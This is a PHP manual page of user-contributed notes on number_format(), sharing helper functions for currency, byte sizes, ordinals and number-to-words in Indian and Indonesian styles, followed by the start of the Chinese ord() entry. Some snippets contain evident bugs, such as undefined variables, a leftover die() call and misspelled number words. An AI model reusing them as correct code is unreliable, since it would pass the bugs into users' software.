        '16' => 'sixteen','17' => 'seventeen','18' => 'eighteen','19' => 'nineteen','20' => 'twenty',
        '30' => 'thirty','40' => 'fourty','50' => 'fifty','60' => 'sixty','70' => 'seventy',
        '80' => 'eighty','90' => 'ninty');

        //First find the length of the number
        $number_length = strlen($number);
        //Initialize an empty array
        $number_array = array(0,0,0,0,0,0,0,0,0);
        $received_number_array = array();

        //Store all received numbers into an array
        for($i=0;$i<$number_length;$i++){    $received_number_array[$i] = substr($number,$i,1);    }

        //Populate the empty array with the numbers received - most critical operation
        for($i=9-$number_length,$j=0;$i<9;$i++,$j++){ $number_array[$i] = $received_number_array[$j]; }
        $number_to_words_string = "";
        //Finding out whether it is teen ? and then multiplying by 10, example 17 is seventeen, so if 1 is preceeded with 7 multiply 1 by 10 and add 7 to it.
        for($i=0,$j=1;$i<9;$i++,$j++){
            if($i==0 || $i==2 || $i==4 || $i==7){
                if($number_array[$i]=="1"){
                    $number_array[$j] = 10+$number_array[$j];
                    $number_array[$i] = 0;
                }
            }
        }

        $value = "";
        for($i=0;$i<9;$i++){
            if($i==0 || $i==2 || $i==4 || $i==7){    $value = $number_array[$i]*10; }
            else{ $value = $number_array[$i];    }
            if($value!=0){ $number_to_words_string.= $words["$value"]." "; }
            if($i==1 && $value!=0){    $number_to_words_string.= "Crores "; }
            if($i==3 && $value!=0){    $number_to_words_string.= "Lakhs ";    }
            if($i==5 && $value!=0){    $number_to_words_string.= "Thousand "; }
            if($i==6 && $value!=0){    $number_to_words_string.= "Hundred &amp; "; }
        }
        if($number_length>9){ $number_to_words_string = "Sorry This does not support more than 99 Crores"; }
        return ucwords(strtolower("Indian Rupees ".$number_to_words_string)." Only.");
    }

    echo convertNumberToWordsForIndia("987654321");

    //Output ==> Indian Rupees Ninty Eight Crores Seventy Six Lakhs Fifty Four Thousand Three Hundred & Twenty One Only.
?>
before_i_sleep at hotmail dot co dot uk 27-Apr-2012 02:26
As many people state the number_format function will round. Now if you're like me and you don't want stuff to round (and the functions below do not work for you) you can try a little regex:

<?php

function convert_size_human($size){
    $unit=array('','KB','MB','GB','TB','PB');
    $byte_size = $size/pow(1024,($i=floor(log($size,1024))));

    if(is_really_int($byte_size)){
        return $byte_size.' '.$unit[$i];
    }else{
        preg_match('/^[0-9]+\.[0-9]{2}/', $byte_size, $matches);
        return $matches[0].' '.$unit[$i];
    }
}

?>

The regex used when the number is not an int ensures that 3.99887 GB comes out as 3.99 GB instead of 4GB as it does from number_format or the functions below.
liviu andrei (bls) 18-Nov-2011 08:10
To prevent the rounding that occurs when next digit after last significant decimal is 5 (mentioned by several people below):

<?php
function fnumber_format($number, $decimals='', $sep1='', $sep2='') {

        if (($number * pow(10 , $decimals + 1) % 10 ) == 5)  //if next not significant digit is 5
            $number -= pow(10 , -($decimals+1));

        return number_format($number, $decimals, $sep1, $sep2);

}

$t=7.15;
echo $t . " | " . number_format($t, 1, '.', ',') .  " | " . fnumber_format($t, 1, '.', ',') . "\n\n";
//result is: 7.15 | 7.2 | 7.1

$t=7.3215;
echo $t . " | " . number_format($t, 3, '.', ',') .  " | " . fnumber_format($t, 3, '.', ',') . "\n\n";
//result is: 7.3215 | 7.322 | 7.321
} ?>

have fun!
robmann at gmx dot li 05-May-2011 04:02
Here a function to filter exponential notation like 6e-06. Turn it to 0,000006 for comfortable reading. Supporting various number of decimals!

<?php
function easy_number_format($number, $dec_point, $thousands_sep)
{
    $number = rtrim(sprintf('%f', $number), "0");
    if (fmod($nummer, 1) != 0) {
        $array_int_dec = explode('.', $number);
    } else {
        $array_int_dec= array(strlen($nummer), 0);
    }
    (strlen($array_int_dec[1]) < 2) ? ($decimals = 2) : ($decimals = strlen($array_int_dec[1]));
    return number_format($number, $decimals, $dec_point, $thousands_sep);
}
?>

The maximum accuracy depends on sprintf('%f', $number). In this case 6 decimals. Expand it to 10 with '%.10f'.
Ali Okan YKSEL 26-Oct-2010 02:47
function formats numbers of datetime type,

<?php
$_GET["zaman"]="1983-8-28 5:5:5";

function _parseDatetimeToList($datetimeStr) { //datetime format: Y-m-d H-i-s
    $datetimeArray=explode(" ", $datetimeStr);
    $dateArray=explode("-",$datetimeArray[0]);
    $year=str_pad($dateArray[0], 2, "0", STR_PAD_LEFT);
    $month=str_pad($dateArray[1], 2, "0", STR_PAD_LEFT);
    $day=str_pad($dateArray[2], 2, "0", STR_PAD_LEFT);
    $timeArray=explode(":",$datetimeArray[1]);
    $hour=str_pad($timeArray[0], 2, "0", STR_PAD_LEFT);
    $minute=str_pad($timeArray[1], 2, "0", STR_PAD_LEFT);
    $second=str_pad($timeArray[2], 2, "0", STR_PAD_LEFT);
    return array($year, $month, $day, $hour, $minute, $second);
}

list($year, $month, $day, $hour, $minute, $second) = _parseDatetimeToList($_GET["zaman"]);  // 1983-1-28 5:5:5
?>
Ricky *@* Mataka [com] 15-Oct-2010 11:10
Hey Guys, dont know if this is the best way but it worked for me as i faced a problem where I had to split any large number > then 10K into into to exact split amounts.. so i wrote this this to do the trick.. hope it helps some one out there!

<?php
function divide22($num)
{
  $valone = intval($num / 2);
  $valtwo = $valone;
  if (($num % 2) > 0) $valtwo++;
  return array($valone, $valtwo);
}
function split2vals($num,$split_amount)
{
  $store=array();
  $times = round(($num/$split_amount));
  $amount= $num/$times;
  for($i=0;$i<$times;$i++)
  {
     $store[]=round($amount);
  }
  foreach($store as $index=>$value)
  {
    if($value>$split_amount)
    {
       $get_splits=divide22($value);
       //unset the split
       unset($store[$index]);
       $store[]=$get_splits[0];
       $store[]=$get_splits[1];
    }
  }
  $sum=array_sum($store);

  if($sum > $num){
    $sub=$sum-$num;
      $end=end($store);
    array_pop($store);
    $store[]=$end-$sub;
  }
  if($sum < $num){
    $store[]=($num-$sum);
  }
  return $store;
}

//USAGE

$check_amount=50567.83;
echo 'Input Split = '.$check_amount.'<br><br>';
$store=split2vals($check_amount,10000);
print_r($store);
$sum=array_sum($store);
echo '<br><br>Should Be Exact ='. $sum;
exit();
?>
Cody G. 08-Aug-2010 02:06
Sometimes, I'm sure, you guys are looking for a way to do the exact opposite of this function: convert a comma-filled number back to normal decimal.
Here's a quick code that popped into my head today:

<?php
 $mynumstr = "100,000,000.75";
 $mynum = doubleval(str_replace(",","",$mynumstr));
?>

This is especially useful when validating user input. Some people like to include comma's with their numbers.
Some also like to include the dollar-sign when entering prices. Here's a modification:

<?php
 $mynumstr = '$100,000,000.25';
 $arr1 = array(',','$');
 $arr2 = array('','');
 $mynum = doubleval(str_replace($arr1,$arr2,$mynumstr));
 //The arrays had to be defined in a
 //  variable to shorten statement.
?>

Okay, that takes care of it, I use the PHP4 array compatibility update to remove several characters.
Don't forget to either use single-quotes or escape the dollar-sign!

~Cody G.
me dot nosp at m dot unreal4u dot com 08-Jul-2010 12:36
Maybe it is documented, but I just missed it. However, a comment is always useful.

An array will always be converted into 1, so, if you have:

<?php
$my_array = array(55);
echo number_format($my_array,0,',','.');
// 1
var_dump(number_format($my_array,2,',','.'));
// string(4) "1,00"
?>

Since it took me a while to figure it out, I hope this will save somebody's time.

Greetings !!
isedc at yahoo dot com 29-Mar-2010 12:38
Some programmers may have scripts that use the number_format function twice on a variable.  However, if a number is 4 or more digits, using the function twice with only the decimals parameter will lose part of the value that follows the thousands separator.

<?php
$var = number_format(2234,2);
$var = number_format($var,2);
echo $var;
# Expected Output: 2,234.00
# Actual Output: 2.00
?>

To fix, remove the thousands separator by setting the decimal point and thousands separator parameters like so:

<?php
$var = number_format(2234,2,'.','');
$var = number_format($var,2,'.','');
echo $var;
# Expected Output: 2234.00
# Actual Output: 2234.00
?>

If it's 3 digits or less, then it works normally with only the decimals parameter since there is no thousands separator.

<?php
$var = number_format(123,2);
$var = number_format($var,2);
echo $var;
# Expected Output: 123.00
# Actual Output: 123.00
?>
dipu dot ashok dot 17 at gmail dot com 28-Mar-2010 01:18
function to convert numbers to words
indian: thousand,lakh,crore
Note: function can only convert nos upto 99 crores

<?php
 $words = array('0'=> '' ,'1'=> 'one' ,'2'=> 'two' ,'3' => 'three','4' => 'four','5' => 'five','6' => 'six','7' => 'seven','8' => 'eight','9' => 'nine','10' => 'ten','11' => 'eleven','12' => 'twelve','13' => 'thirteen','14' => 'fouteen','15' => 'fifteen','16' => 'sixteen','17' => 'seventeen','18' => 'eighteen','19' => 'nineteen','20' => 'twenty','30' => 'thirty','40' => 'fourty','50' => 'fifty','60' => 'sixty','70' => 'seventy','80' => 'eighty','90' => 'ninty','100' => 'hundred &','1000' => 'thousand','100000' => 'lakh','10000000' => 'crore');
function no_to_words($no)
{    global $words;
    if($no == 0)
        return ' ';
    else {           $novalue='';$highno=$no;$remainno=0;$value=100;$value1=1000;
            while($no>=100)    {
                if(($value <= $no) &&($no  < $value1))    {
                $novalue=$words["$value"];
                $highno = (int)($no/$value);
                $remainno = $no % $value;
                break;
                }
                $value= $value1;
                $value1 = $value * 100;
            }
          if(array_key_exists("$highno",$words))
              return $words["$highno"]." ".$novalue." ".no_to_words($remainno);
          else {
             $unit=$highno%10;
             $ten =(int)($highno/10)*10;
             return $words["$ten"]." ".$words["$unit"]." ".$novalue." ".no_to_words($remainno);
           }
    }
}
echo no_to_words(999978987);

?>
info at daniel-marschall dot de 22-May-2009 12:54
In my function my_number_format() [shown below] there was a bug.

If a negative number which is smaller than 1 was entered (-0,...), then the result was wrongly positive because +0 is equal to -0 (the content of $tmp[0] which was interpretet as numeric value).

Here is the corrected version:

<?php

function my_number_format($number, $dec_point, $thousands_sep)
{
    $was_neg = $number < 0; // Because +0 == -0
    $number = abs($number);

    $tmp = explode('.', $number);
    $out = number_format($tmp[0], 0, $dec_point, $thousands_sep);
    if (isset($tmp[1])) $out .= $dec_point.$tmp[1];

    if ($was_neg) $out = "-$out";

    return $out;
}

?>

Thanks to Federico Cassinelli for the bug report.

[EDIT BY danbrown AT php DOT net: The original note follows.]

Let's say we got the number $inp = 1234.56

By using

<?php
return number_format($inp, 2, ',', '.');
?>

you can get the German format 1.234,56. (Comma as decimal separator and point as thousand separator)

But I have a problem with that: I want to add commas as thousand separators and change the decimal-separator (this could also be done with str_replace), but I do not want to change the amount of fractional digits!

But since the 2nd argument of number_format is necessary to enter the 3rd and 4th argument, this cannot be done with number_format. You have to change the fractional digits with this function.

But I want that 1234.56 changes into 1.234,56 and 1234.567890123456 changes into 1.234,567890123456

So, I created following function, that doesn't change the amount of fractional digits:

<?php
function my_number_format($number, $dec_point, $thousands_sep)
{
  $tmp = explode('.', $number);
  $out = number_format($tmp[0], 0, $dec_point, $thousands_sep);
  if (isset($tmp[1])) $out .= $dec_point.$tmp[1];

  return $out;
}
?>
james at bandit dot co.nz 26-Mar-2009 09:03
Outputs a human readable number.

<?php
    #    Output easy-to-read numbers
    #    by james at bandit.co.nz
    function bd_nice_number($n) {
        // first strip any formatting;
        $n = (0+str_replace(",","",$n));

        // is this a number?
        if(!is_numeric($n)) return false;

        // now filter it;
        if($n>1000000000000) return round(($n/1000000000000),1).' trillion';
        else if($n>1000000000) return round(($n/1000000000),1).' billion';
        else if($n>1000000) return round(($n/1000000),1).' million';
        else if($n>1000) return round(($n/1000),1).' thousand';

        return number_format($n);
    }
?>

Outputs:

247,704,360 -> 247.7 million
866,965,260,000 -> 867 billion
IMSoP 18-Mar-2009 02:36
I'm not sure if this is the right place anyway, but "ben at last dot fm"'s ordinal function can be simplified further by removing the redundant "floor" (the result of floor is still a float, it's the "%" that's converting to int) and outer switch.

Note that this version also returns the number with the suffix on the end, not just the suffix.

<?php
function ordinal($num)
{
    // Special case "teenth"
    if ( ($num / 10) % 10 != 1 )
    {
        // Handle 1st, 2nd, 3rd
        switch( $num % 10 )
        {
            case 1: return $num . 'st';
            case 2: return $num . 'nd';
            case 3: return $num . 'rd';
        }
    }
    // Everything else is "nth"
    return $num . 'th';
}
?>
Barbara 26-Jan-2009 11:04
I was looking for a SIMPLE way to format currency and account for negative values while not losing the calculation properties of my number.  Here's my function - it's not rocket science, but maybe can help someone along the way.

<?php
function wims_currency($number) {
   if ($number < 0) {
     $print_number = "($ " . str_replace('-', '', number_format ($number, 2, ".", ",")) . ")";
    } else {
     $print_number = "$ " .  number_format ($number, 2, ".", ",") ;
   }
   return $print_number;
}
?>
Sample use:

<?php
$pur_po_total =  ($pur_po_total + $pur_item_total);
$print_pur_po_total = wims_currency($pur_po_total);
?>

Returns (for example)    $ 44,561.00 or, if a negative ($ 407,250.00)

This way, I use my 1st variable for calculations and my 2nd variable for output.  I'm sure there are better ways to do it,  but this got me back on track.
thomas at weblizards dot de 23-Jan-2009 05:43
It's not explicitly documented; number_format also rounds:

<?php
$numbers = array(0.001, 0.002, 0.003, 0.004, 0.005, 0.006, 0.007, 0.008, 0.009);
foreach ($numbers as $number)
    print $number."->".number_format($number, 2, '.', ',')."<br>";
?>

0.001->0.00
0.002->0.00
0.003->0.00
0.004->0.00
0.005->0.01
0.006->0.01
0.007->0.01
0.008->0.01
0.009->0.01
nospam at nospam dot com 02-Dec-2008 02:08
Simple function to show money as only dollars if no cents, but will show 2 decimals if cents exist.

The 'cents' flag can force to never or always show 2 decimals

<?php

// formats money to a whole number or with 2 decimals; includes a dollar sign in front
function formatMoney($number, $cents = 1) { // cents: 0=never, 1=if needed, 2=always
  if (is_numeric($number)) { // a number
    if (!$number) { // zero
      $money = ($cents == 2 ? '0.00' : '0'); // output zero
    } else { // value
      if (floor($number) == $number) { // whole number
        $money = number_format($number, ($cents == 2 ? 2 : 0)); // format
      } else { // cents
        $money = number_format(round($number, 2), ($cents == 0 ? 0 : 2)); // format
      } // integer or decimal
    } // value
    return '$'.$money;
  } // numeric
} // formatMoney

$a = array(1, 1234, 1.5, 1.234, 2.345, 2.001, 2.100, '1.000', '1.2345', '12345', 0, '0.00');

// show cents if needed ($cents=1)
foreach ($a as $b) echo ('<br />'.$b.' = '.formatMoney($b, 1));
1 = $1
1234 = $1,234
1.5 = $1.50
1.234 = $1.23
2.345 = $2.35
2.001 = $2.00
2.1 = $2.10
1.000 = $1
1.2345 = $1.23
12345 = $12,345
0 = $0
0.00 = $0

// never show cents ($cents=0)
foreach ($a as $b) echo ('<br />'.$b.' = '.formatMoney($b, 0));
1 = $1
1234 = $1,234
1.5 = $2
1.234 = $1
2.345 = $2
2.001 = $2
2.1 = $2
1.000 = $1
1.2345 = $1
12345 = $12,345
0 = $0
0.00 = $0

// always show cents ($cents=2)
foreach ($a as $b) echo ('<br />'.$b.' = '.formatMoney($b, 2));
1 = $1.00
1234 = $1,234.00
1.5 = $1.50
1.234 = $1.23
2.345 = $2.35
2.001 = $2.00
2.1 = $2.10
1.000 = $1.00
1.2345 = $1.23
12345 = $12,345.00
0 = $0.00
0.00 = $0.00

?>

Cheers :)

And remember to always contribute custom functions if they might be useful to the rest of us or future versions of the php language.
samuelpeixoto at gmail dot com 21-Nov-2008 05:05
Exemplo: Example:

<?php
$number = 1234567.896;
echo '1: '.number_format($number, 2, ',', '').'<br>';
echo '2: '.number_format($number, 2, '.', '').'<br>';
echo '3: '.number_format($number, 2, ',', '.').'<br>';
echo '4: '.number_format($number, 2, '.', ',').'<br>';
echo '5: '.number_format($number, 2, ',', ' ').'<br>';
echo '6: '.number_format($number, 2, ',', "'").'<br>';
echo '7: '.number_format($number, 2, '', '').'<br>';
?>

Resultado: Result:

 1: 1234567,90   -> Decimal separado por ,
 2: 1234567.90   -> Decimal separado por .
 3: 1.234.567,90 -> Moeda Brasil, Alemanha
 4: 1,234,567.90 -> Inglês, USA
 5: 1 234 567,90 -> Fran?a
 6: 1'234'567,90 -> Suí?a
 7: 123456790    -> Sem decimal
isapoetra at gmail dot com 15-Jun-2008 06:53
here is the code to convert number to Indonesian text, this code has limitation as is number_format function. sorry for this.
/*
* Created : Iwan Sapoetra - Jun 13, 2008
* Project : Web
* Package : cgaf
*
*/
function terbilang( $num ,$dec=4){
    $stext = array(
        "Nol",
        "Satu",
        "Dua",
        "Tiga",
        "Empat",
        "Lima",
        "Enam",
        "Tujuh",
        "Delapan",
        "Sembilan",
        "Sepuluh",
        "Sebelas"
    );
    $say  = array(
        "Ribu",
        "Juta",
        "Milyar",
        "Triliun",
        "Biliun", // remember limitation of float
        "--apaan---" ///setelah biliun namanya apa?
    );
    $w = "";

    if ($num <0 ) {
        $w  = "Minus ";
        //make positive
        $num *= -1;
    }

    $snum = number_format($num,$dec,",",".");
    die($snum);
    $strnum =  explode(".",substr($snum,0,strrpos($snum,",")));
    //parse decimalnya
    $koma = substr($snum,strrpos($snum,",")+1);

    $isone = substr($num,0,1)  ==1;
    if (count($strnum)==1) {
        $num = $strnum[0];
        switch (strlen($num)) {
            case 1:
            case 2:
                if (!isset($stext[$strnum[0]])){
                    if($num<19){
                        $w .=$stext[substr($num,1)]." Belas";
                    }else{
                        $w .= $stext[substr($num,0,1)]." Puluh ".
                            (intval(substr($num,1))==0 ? "" : $stext[substr($num,1)]);
                    }
                }else{
                    $w .= $stext[$strnum[0]];
                }
                break;
            case 3:
                $w .=  ($isone ? "Seratus" : terbilang(substr($num,0,1)) .
                    " Ratus").
                    " ".(intval(substr($num,1))==0 ? "" : terbilang(substr($num,1)));
                break;
            case 4:
                $w .=  ($isone ? "Seribu" : terbilang(substr($num,0,1)) .
                    " Ribu").
                    " ".(intval(substr($num,1))==0 ? "" : terbilang(substr($num,1)));
                break;
            default:
                break;
        }
    }else{
        $text = $say[count($strnum)-2];
        $w = ($isone && strlen($strnum[0])==1 && count($strnum) <=3? "Se".strtolower($text) : terbilang($strnum[0]).' '.$text);
        array_shift($strnum);
        $i =count($strnum)-2;
        foreach ($strnum as $k=>$v) {
            if (intval($v)) {
                $w.= ' '.terbilang($v).' '.($i >=0 ? $say[$i] : "");
            }
            $i--;
        }
    }
    $w = trim($w);
    if ($dec = intval($koma)) {
        $w .= " Koma ". terbilang($koma);
    }
    return trim($w);
}
//example
echo terbilang(999999999999)."\n";
/**
 * result : Sembilan Ratus Sembilan Puluh Sembilan Milyar Sembilan Ratus Sembilan Puluh Sembilan Juta Sembilan Ratus Sembilan Puluh Sembilan Ribu Sembilan Ratus Sembilan Puluh Sembilan
 */
echo terbilang(9999999999999999);
/**
 * todo : fix this bug pleasese
 * problem : number_format(9999999999999999) <--- 10.000.000.000.000.000,0000
 * Result : Sepuluh Biliun
 */
gabrielu at gmail dot com 08-May-2008 09:54
Using the number_format I'm having some unexpected results.  30% of 14.95 (14.95 * .3) = 4.485.  Now 4.485 rounded to two decimal places should give me 4.49.

Example:
<?php
echo number_format(14.95 * .3, 2, '.', '') . "\n";
echo number_format(4.485, 2, '.', '') . "\n";
?>

Unexpected Results:
4.48
4.49
uliciadrian01 at yahoo dot com 06-Oct-2007 02:34
A simple funtion to format american dollars.

<?php
function formatMoney($money) {
    if($money<1) {
        $money='￠'.$money*100;
    }
    else {
        $dollars=intval($money);
        $cents=$money-$dollars;
        $cents=$cents*100;
        $money='$'.$dollars.' and ￠'.$cents;
    }
    return $money;
}
echo formatmoney('52.342');
?>
This will output: "   $52 and ￠34.2  ".
ted at qtis dot co dot nz 07-Feb-2007 03:38
I use the following to get around the negative zero problem:

<?php
function currency_format($amount, $precision = 2, $use_commas = true, $show_currency_symbol = false, $parentheses_for_negative_amounts = false)
{
    /*
    **    An improvement to number_format.  Mainly to get rid of the annoying behaviour of negative zero amounts.
    */
    $amount = (float) $amount;
    // Get rid of negative zero
    $zero = round(0, $precision);
    if (round($amount, $precision) == $zero) {
        $amount = $zero;
    }

    if ($use_commas) {
        if ($parentheses_for_negative_amounts && ($amount < 0)) {
            $amount = '('.number_format(abs($amount), $precision).')';
        }
        else {
            $amount = number_format($amount, $precision);
        }
    }
    else {
        if ($parentheses_for_negative_amounts && ($amount < 0)) {
            $amount = '('.round(abs($amount), $precision).')';
        }
        else {
            $amount = round($amount, $precision);
        }
    }

    if ($show_currency_symbol) {
        $amount = '$'.$amount;  // Change this to use the organization's country's symbol in the future
    }
    return $amount;
}
?>
zulisse at email dot it 06-Feb-2007 02:27
simpler function to convert a number in bytes, kilobytes....

<?php

function bytes($a) {
    $unim = array("B","KB","MB","GB","TB","PB");
    $c = 0;
    while ($a>=1024) {
        $c++;
        $a = $a/1024;
    }
    return number_format($a,($c ? 2 : 0),",",".")." ".$unim[$c];
}

?>

you may also add others units over PeraBytes when the hard disks will reach 1024 PB :)
webmaster at WWW.ELLESSEWEB.NET 24-Nov-2006 06:51
This is a simple and useful function to convert a byte number in a KB  or MB:

<?
function filesize_format ($bytes) {
  $bytes=(float)$bytes;
  if ($bytes<1024){
  $numero=number_format($bytes, 0, ',', '.')." Byte";
  return $numero;
  }
  if ($bytes<1048576){
      $numero=number_format($bytes/1024, 2, ',', '.')." KByte";
  return $numero;
  }
  if ($bytes>=1048576){
      $numero=number_format($bytes/1048576, 2, ',', '.')." MByte";
  return $numero;
  }
}
?>
giovanni dot cappellini at gmail dot com 26-Oct-2006 07:31
About the function of j-a-n at gmx dot de: it's useful, but the argument of the function is $number while the logic of the function requires it to be $in.
04-Jun-2006 12:55
The modification to number_format below does what I actually want it to do, with currency, for example. I want it to show $1.40 and not $1.4 or $1.400 - except in the rare case where I have $1.435 for something, in which case I *don't* want it to round. The ugliness below serves my purpose.

function nof($number,$decimals) {
if (number_format($number,$decimals,'.',',') != $number) {
        return $number;
} else {
        return number_format($number,$decimals,'.',',');
        }
}
mikesabatino at gmail dot com 01-Mar-2006 07:34
<?php
# Function to represent a number like '2nd', '10th', '101st' etc
function text_number($n)
{
    # Array holding the teen numbers. If the last 2 numbers of $n are in this array, then we'll add 'th' to the end of $n
    $teen_array = array(11, 12, 13, 14, 15, 16, 17, 18, 19);

    # Array holding all the single digit numbers. If the last number of $n, or if $n itself, is a key in this array, then we'll add that key's value to the end of $n
    $single_array = array(1 => 'st', 2 => 'nd', 3 => 'rd', 4 => 'th', 5 => 'th', 6 => 'th', 7 => 'th', 8 => 'th', 9 => 'th', 0 => 'th');

    # Store the last 2 digits of $n in order to check if it's a teen number.
    $if_teen = substr($n, -2, 2);

    # Store the last digit of $n in order to check if it's a teen number. If $n is a single digit, $single will simply equal $n.
    $single = substr($n, -1, 1);

    # If $if_teen is in array $teen_array, store $n with 'th' concantenated onto the end of it into $new_n
    if ( in_array($if_teen, $teen_array) )
    {
        $new_n = $n . 'th';
    }
    # $n is not a teen, so concant the appropriate value of it's $single_array key onto the end of $n and save it into $new_n
    elseif ( $single_array[$single] )
    {
        $new_n = $n . $single_array[$single];
    }

    # Return new
    return $new_n;
}
?>
MarcM 20-Feb-2006 10:03
For Zero fill - just use the sprintf() function

$pr_id = 1;
$pr_id = sprintf("%03d", $pr_id);
echo $pr_id;

//outputs 001
-----------------

$pr_id = 10;
$pr_id = sprintf("%03d", $pr_id);
echo $pr_id;

//outputs 010
-----------------

You can change %03d to %04d, etc.
Jeroen de Bruijn [NL] 01-Oct-2005 03:02
If you want to display a number ending with ,- (like 200,-) when there are no decimal characters and display the decimals when there are decimal characters i use:

function DisplayDouble($value)
  {
  list($whole, $decimals) = split ('[.,]', $value, 2);
  if (intval($decimals) > 0)
    return number_format($value,2,".",",");
  else
    return number_format($value,0,".",",") .",-";
  }
marc dot vanwoerkom at fernuni-hagen dot de 14-Jul-2005 06:53
See also the documentation for localeconv, which will provide values for decimal point and thousands separator from the C standard library.

Of course localeconv features many more locale information, like indicating to put the negative sign behind the value for some locale settings which can't be used to customize present number_format.
venimus777 at yahoo dot com 08-Jun-2005 05:25
You could use the following regular expression to divide
a number into parts:

$1-number without fractal part
$2-fractal part
$3-first 2 digits of the fractal part
$4-rest of the fractal part

the regex removes any leading and trailing symbols and leading zeros. It doesnt validate the number, so 12 41 is considered to be correct input!

english notation:
/^.*?[0]*([\d\s]+)(([\.][\d]{0,2})([\d]*))?.*?$/

french notation:
/^.*?[0]*([\d\s]+)(([\,][\d]{0,2})([\d]*))?.*?$/

<?php
// truncate the fractal part up to 2 digits of an "english number":
$number = '01,234.50789';
$trunc = preg_replace(
    '/^.*?[0]*([\d\,]+)(([\.][\d]{0,2})([\d]*))?.*?$/',
    '$1$3',
    $number
);
echo $trunc;
?>

Outputs:
1,234.50

$number='e00012 41.100001e-4fasfd';
would output:
12 41.10
woodynadobhar at hotmail dot com 17-May-2005 09:04
What do you do if some of your numbers have decimal places, and some don't?  You can switch between functions, but if you're building it in a loop, that's not a good solution.  Instead, we have the same as below, with a slight change:

function number_format_unlimited_precision($number,$decimal = '.'){
    $broken_number = explode($decimal,$number);
    if($broken_number[1]==0){
        return number_format($broken_number[0]);
    }else{
        return number_format($broken_number[0]).$decimal.$broken_number[1];
    };
};
stm555 at hotmail dot com 27-Apr-2005 08:54
I ran across an issue where I wanted to keep the entered precision of a real value, without arbitrarily rounding off what the user had submitted.

I figured it out with a quick explode on the number before formatting. I could then format either side of the decimal.

<?php
      function number_format_unlimited_precision($number,$decimal = '.')
      {
           $broken_number = explode($decimal,$number);
           return number_format($broken_number[0]).$decimal.$broken_number[1];
      }
?>
mike at phpeeb dot com 02-Apr-2005 01:13
Since number_format returns a string, you must perform all mathmatical functions on the number before applying number_format:

<?
$total = 100;
$total = number_format($total, 2);
$shipping = 20.00;
$grand_total = $total + $shipping;

echo number_format($grand_total, 2);

/* The above will return 21.00 because $total is now a string, and no longer an integer or float. Since a string will have a value of 1,  the addition of the two will return 21 and not 120. */

$total = 100;
$shipping = 20.00;
$grand_total = $total + $shipping;

echo number_format($grand_total, 2);

/* This works, and will return 120.00 as intended */

?>
php at mijav dot dk 31-Mar-2005 06:25
A bug was issued that -0,00 is invalid output from number_format(), but the bug was rejected since the number "-0.0000000000000000001E-999 is about -0". And the developer felt this was correct output.

Please beware of negative numbers close to zero, as they might produce this unusable (and in my opinion incorrect/off-description) output.
keyg at auralplanet dot com 22-Nov-2004 06:56
if you want &nbsp; as a separator and use windows charset this piece of code may help:

<?php
$number=number_format($number,2,'.',chr(0xA0));
?>
brandonprudent at yahoo dot com 10-Oct-2004 11:52
To convert numbers to thier textual representations, you can use an adapted version of the Number::Spell Perl module. The PHP conversion can be found here: http://pear.php.net/package/Numbers_Words
Svein Tjonndal (sveint at yahoo dot com) 14-Sep-2004 07:18
If you use space as a separator, it will break on that space in HTML tables...

Furthermore, number_format doesn't like '&nbsp;' as a fourth parameter. I wrote the following function to display the numbers in an HTML table.

  function numberfix($number)
  {
    $number = number_format($number,0,","," ");
    return str_replace(" ", "&nbsp;", $number);
  }

For use in:
<table><tr><td><?php echo $number; ?></td></tr></table>
chandu at chandu dot org 07-Mar-2004 05:29
People here in India are more used to counting money in Lakhs & Crores .. so here is the code for formatting the commas with thousands for the first time and then with hundred multiples from there after.

Ex: 1234567  ->  12,34,567

<?php

function makecomma($input)
{
    // This function is written by some anonymous person - I got it from Google
    if(strlen($input)<=2)
    { return $input; }
    $length=substr($input,0,strlen($input)-2);
    $formatted_input = makecomma($length).",".substr($input,-2);
    return $formatted_input;
}

function formatInIndianStyle($num){
    // This is my function
    $pos = strpos((string)$num, ".");
    if ($pos === false) { $decimalpart="00";}
    else { $decimalpart= substr($num, $pos+1, 2); $num = substr($num,0,$pos); }

    if(strlen($num)>3 & strlen($num) <= 12){
                $last3digits = substr($num, -3 );
                $numexceptlastdigits = substr($num, 0, -3 );
                $formatted = makecomma($numexceptlastdigits);
                $stringtoreturn = $formatted.",".$last3digits.".".$decimalpart ;
    }elseif(strlen($num)<=3){
                $stringtoreturn = $num.".".$decimalpart ;
    }elseif(strlen($num)>12){
                $stringtoreturn = number_format($num, 2);
    }

    if(substr($stringtoreturn,0,2)=="-,"){$stringtoreturn = "-".substr($stringtoreturn,2 );}

    return $stringtoreturn;
}

$num = 1234567;
echo  formatInIndianStyle($num);

?>
sgj at dr dot com 17-May-2003 06:04
Just an observation:
The number_format rounds the value of the variable.

$val1 = 1.233;
$val2 = 1.235;
$val3 = 1.237;

echo number_format($val1,2,",","."); // returns: 1,23
echo number_format($val2,2,",","."); // returns: 1,24
echo number_format($val3,2,",","."); // returns: 1,24
Theo Diem 24-Mar-2003 01:45
formatting numbers may be more easy if u use number_format function.

I also wrote this :
function something($number)
{
    $locale = localeconv();
    return number_format($number,
       $locale['frac_digits'],
        $locale['decimal_point'],
        $locale['thousands_sep']);
}

hope this helps =)
[]'s


转换字符串第一个字节为 0-255 之间的值

  • ? number_format
  • parse_str ?
  • PHP Manual
  • 字符串 函数
  • 转换字符串第一个字节为 0-255 之间的值

ord

(PHP 4, PHP 5, PHP 7)

ord — 转换字符串第一个字节为 0-255 之间的值

说明

ord ( string $string ) : int

解析 string 二进制值第一个字节为 0 到 255 范围的无符号整型类型。

如果字符串是 ASCII、 ISO-8859、Windows 1252之类单字节编码，就等于返回该字符在字符集编码表中的位置。 但请注意，本函数不会去检测字符串的编码，尤其是不会识别类似 UTF-8 或 UTF-16 这种多字节字符的 Unicode 代码点（code point）。

该函数是 chr() 的互补函数。

参数

string

一个字符。

返回值

返回 0 - 255 的整型值。

范例

Example #1 ord() 范例

<?php
$str = "\n";
if (ord($str) == 10) {
    echo "The first character of \$str is a line feed.\n";
}
?>

Example #2 检查 UTF-8 字符串的每一个字节

<?php
declare(encoding='UTF-8');
$str = "??";
for ( $pos=0; $pos < strlen($str); $pos ++ ) {
 $byte = substr($str, $pos);
 echo 'Byte ' . $pos . ' of $str has value ' . ord($byte) . PHP_EOL;
}
?>

以上例程会输出：

Byte 0 of $str has value 240
Byte 1 of $str has value 159
Byte 2 of $str has value 144
Byte 3 of $str has value 152

参见

  • chr() - 返回指定的字符
  • » ASCII 码表

User Contributed Notes

rowan dot collins at cwtdigital dot com 11-Jun-2013 06:28
